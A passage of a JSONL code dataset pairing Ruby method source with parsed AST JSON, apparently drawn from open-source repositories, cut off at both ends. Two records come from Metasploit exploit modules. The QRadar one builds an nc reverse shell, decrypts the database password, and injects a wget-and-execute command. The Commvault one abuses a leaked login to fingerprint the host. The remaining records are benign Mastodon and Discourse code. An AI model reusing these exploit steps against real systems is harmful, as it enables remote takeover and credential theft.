\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"http_service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"srv_host\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_service\"]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Starting up our web service on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http_service\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[null,\"on_request_uri\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#!/bin/bash\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# our payload that's going to be downloaded from our web server\\n\"]},{\"type\":\"str\",\"children\":[\"cat < /store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_payload\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"#!/bin/bash\\n\"]},{\"type\":\"str\",\"children\":[\"/usr/bin/nc -e /bin/sh \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" &\\n\"]},{\"type\":\"str\",\"children\":[\"EOF\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### below is adapted from /opt/qradar/support/changePasswd.sh\\n\"]},{\"type\":\"str\",\"children\":[\"[ -z $NVA_CONF ] && NVA_CONF=\\\"/opt/qradar/conf/nva.conf\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"NVACONF=`grep \\\"^NVACONF=\\\" $NVA_CONF 2> /dev/null | cut -d= -f2`\\n\"]},{\"type\":\"str\",\"children\":[\"FRAMEWORKS_PROPERTIES_FILE=\\\"frameworks.properties\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"FORENSICS_USER_FILE=\\\"config_user.xml\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"FORENSICS_USER_FILE_CONFIG=\\\"$NVACONF/$FORENSICS_USER_FILE\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# get the encrypted db password from the config\\n\"]},{\"type\":\"str\",\"children\":[\"PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\\\w\\\\=\\\\+\\\\/]*)(?=<)'`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm\\n\"]},{\"type\":\"str\",\"children\":[\"P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)\\n\"]},{\"type\":\"str\",\"children\":[\"P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"#if 7.2.8 or greater, use new method for hashing and salting passwords\\n\"]},{\"type\":\"str\",\"children\":[\"if [[ $QVERSION -gt 727 || -z \\\"$AESKEY\\\" ]]\\n\"]},{\"type\":\"str\",\"children\":[\"then\\n\"]},{\"type\":\"str\",\"children\":[\" PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))\\n\"]},{\"type\":\"str\",\"children\":[\" [ $? != 0 ] && echo \\\"ERROR: Unable to decrypt $PASSWORDENCRYPTED\\\" && exit 255\\n\"]},{\"type\":\"str\",\"children\":[\"else\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`\\n\"]},{\"type\":\"str\",\"children\":[\" [ $? != 0 ] && echo \\\"ERROR: Unable to decrypt $PASSWORDENCRYPTED\\\" && exit 255\\n\"]},{\"type\":\"str\",\"children\":[\"fi\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \\\"insert into autoupdate_patch values ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_payload\"]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[1000]}]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\",'minor',false,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[9999]}]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\",0,'',1,false,'','','',false)\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"# kill ourselves!\\n\"]},{\"type\":\"str\",\"children\":[\"(sleep 2 && rm -- \\\"$0\\\") &\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Asking QRadar to download and execute \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exec_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O \"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_uri\"]}]},{\"type\":\"str\",\"children\":[\" && \"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/bin/bash /store/configservices/staging/updates/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_step2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"pcap[0][pcap]\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&pcap[1][pcap]=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"lvar\",\"children\":[\"exec_cmd\"]},{\"type\":\"str\",\"children\":[\"hex-all\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri_step2\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/ForensicsAnalysisServlet/?forensicsManagedHostIps\"]},\"+\",{\"type\":\"str\",\"children\":[\"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_step2\"]},\"+\",{\"type\":\"str\",\"children\":[\"&\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload_step2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SEC=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sec_cookie\"]}]},{\"type\":\"str\",\"children\":[\"; QRadarCSRF=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@csrf_cookie\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[80]}]}]}]}","id":"04a22b65-c6f5-4103-a9e6-b107fe9d2233"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb","start_line":137,"raw_source":"def leak_target_info\n # The 'activeMQConnectionURL' leak depicted in the finder blog post is not present on many systems by default\n # CVE-2025-57788 can be exploited to access an authenticated web API endpoint that leaks host name and OS info\n psu_pass = extract_publicsharinguser_pass\n\n vprint_status(\"Attempting PublicServiceUser login using: #{psu_pass}\")\n res = login_as_publicsharinguser(psu_pass)\n\n fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res\n\n if res.code != 200\n fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable')\n end\n\n # Extract the token from the login response\n regex = /(QSDK [a-zA-Z0-9]+)/\n psu_token = res.body.scan(regex)[0][0]\n\n if psu_token.blank?\n fail_with(Failure::NotVulnerable, 'Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable')\n end\n\n vprint_good(\"Authenticated as PublicSharingUser, got token: #{psu_token}\")\n\n res = get_host_info(psu_token)\n\n fail_with(Failure::Unknown, 'Failed to get a response from the target') unless res\n\n if res.code != 200\n fail_with(Failure::Unknown, 'Failed to get host info, the target returned a non-200 status')\n end\n\n regex = /hostName=\"([^\"]+)\" /\n # Extract value, and make sure it isn't a FQDN for systems that are joined to a domain (strip period and anything after, if present)\n hostname = res.body.scan(regex)[0][0].split('.').first\n\n regex = /osType=\"([^\"]+)\" /\n target_os = res.body.scan(regex)[0][0]\n\n if hostname.blank? || target_os.blank?\n fail_with(Failure::UnexpectedReply, 'The target response unexpectedly did not provide a host name or OS string')\n end\n\n return hostname, target_os\n end","complexity_score":55.2,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_target_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"psu_pass\",{\"type\":\"send\",\"children\":[null,\"extract_publicsharinguser_pass\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting PublicServiceUser login using: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"login_as_publicsharinguser\",{\"type\":\"lvar\",\"children\":[\"psu_pass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get a response from the target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Login as PublicSharingUser failed (non-200 status), the target is likely not vulnerable\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(QSDK [a-zA-Z0-9]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"psu_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Login as PublicSharingUser failed (no token returned), the target is likely not vulnerable\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated as PublicSharingUser, got token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"psu_token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"get_host_info\",{\"type\":\"lvar\",\"children\":[\"psu_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get a response from the target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to get host info, the target returned a non-200 status\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"hostName=\\\"([^\\\"]+)\\\" \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"osType=\\\"([^\\\"]+)\\\" \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_os\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_os\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The target response unexpectedly did not provide a host name or OS string\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"target_os\"]}]}]}]}","id":"bf8359ac-6161-4fdf-97e8-8679a4fd834e"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/config/initializers/rack/attack_spec.rb","start_line":54,"raw_source":"def above_limit\n limit * 2\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"above_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}","id":"4a9c9d4b-e461-42f9-810c-dc3dd3472cc1"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/github_pull_request_diff.rb","start_line":46,"raw_source":"def invoke\n api_url = \"https://api.github.com/repos/#{repo}/pulls/#{pull_id}\"\n @url = \"https://github.com/#{repo}/pull/#{pull_id}\"\n\n pr_info = nil\n diff_body = nil\n response_code = \"unknown error\"\n\n send_http_request(\n api_url,\n headers: {\n \"Accept\" => \"application/json\",\n },\n authenticate_github: true,\n ) do |response|\n response_code = response.code\n pr_info = JSON.parse(read_response_body(response)) if response_code == \"200\"\n end\n\n if response_code == \"200\"\n send_http_request(\n api_url,\n headers: {\n \"Accept\" => \"application/vnd.github.v3.diff\",\n },\n authenticate_github: true,\n ) do |response|\n response_code = response.code\n diff_body = read_response_body(response)\n end\n end\n\n if response_code == \"200\" && pr_info && diff_body\n diff = diff_body\n diff = self.class.sort_and_shorten_diff(diff)\n diff = truncate(diff, max_length: 20_000, percent_length: 0.3, llm: llm)\n\n source_repo = pr_info.dig(\"head\", \"repo\", \"full_name\")\n source_branch = pr_info.dig(\"head\", \"ref\")\n source_sha = pr_info.dig(\"head\", \"sha\")\n\n {\n diff: diff,\n pr_info: {\n title: pr_info[\"title\"],\n state: pr_info[\"state\"],\n source: {\n repo: source_repo,\n branch: source_branch,\n sha: source_sha,\n url: \"https://github.com/#{source_repo}/tree/#{source_branch}\",\n },\n target: {\n repo: pr_info[\"base\"][\"repo\"][\"full_name\"],\n branch: pr_info[\"base\"][\"ref\"],\n },\n author: pr_info[\"user\"][\"login\"],\n created_at: pr_info[\"created_at\"],\n updated_at: pr_info[\"updated_at\"],\n },\n }\n else\n { error: \"Failed to retrieve the PR information. Status code: #{response_code}\" }\n end\n end","complexity_score":64.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.github.com/repos/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]}]},{\"type\":\"str\",\"children\":[\"/pulls/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://github.com/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]}]},{\"type\":\"str\",\"children\":[\"/pull/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pr_info\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"str\",\"children\":[\"unknown error\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http_request\",{\"type\":\"lvar\",\"children\":[\"api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticate_github\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pr_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"read_response_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http_request\",{\"type\":\"lvar\",\"children\":[\"api_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/vnd.github.v3.diff\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticate_github\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_body\",{\"type\":\"send\",\"children\":[null,\"read_response_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_code\"]},\"==\",{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvar\",\"children\":[\"pr_info\"]}]},{\"type\":\"lvar\",\"children\":[\"diff_body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"lvar\",\"children\":[\"diff_body\"]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"sort_and_shorten_diff\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"lvar\",\"children\":[\"diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_length\"]},{\"type\":\"int\",\"children\":[20000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"percent_length\"]},{\"type\":\"float\",\"children\":[0.3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm\"]},{\"type\":\"send\",\"children\":[null,\"llm\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"repo\"]},{\"type\":\"str\",\"children\":[\"full_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"ref\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pr_info\"]},\"dig\",{\"type\":\"str\",\"children\":[\"head\"]},{\"type\":\"str\",\"children\":[\"sha\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"lvar\",\"children\":[\"diff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pr_info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"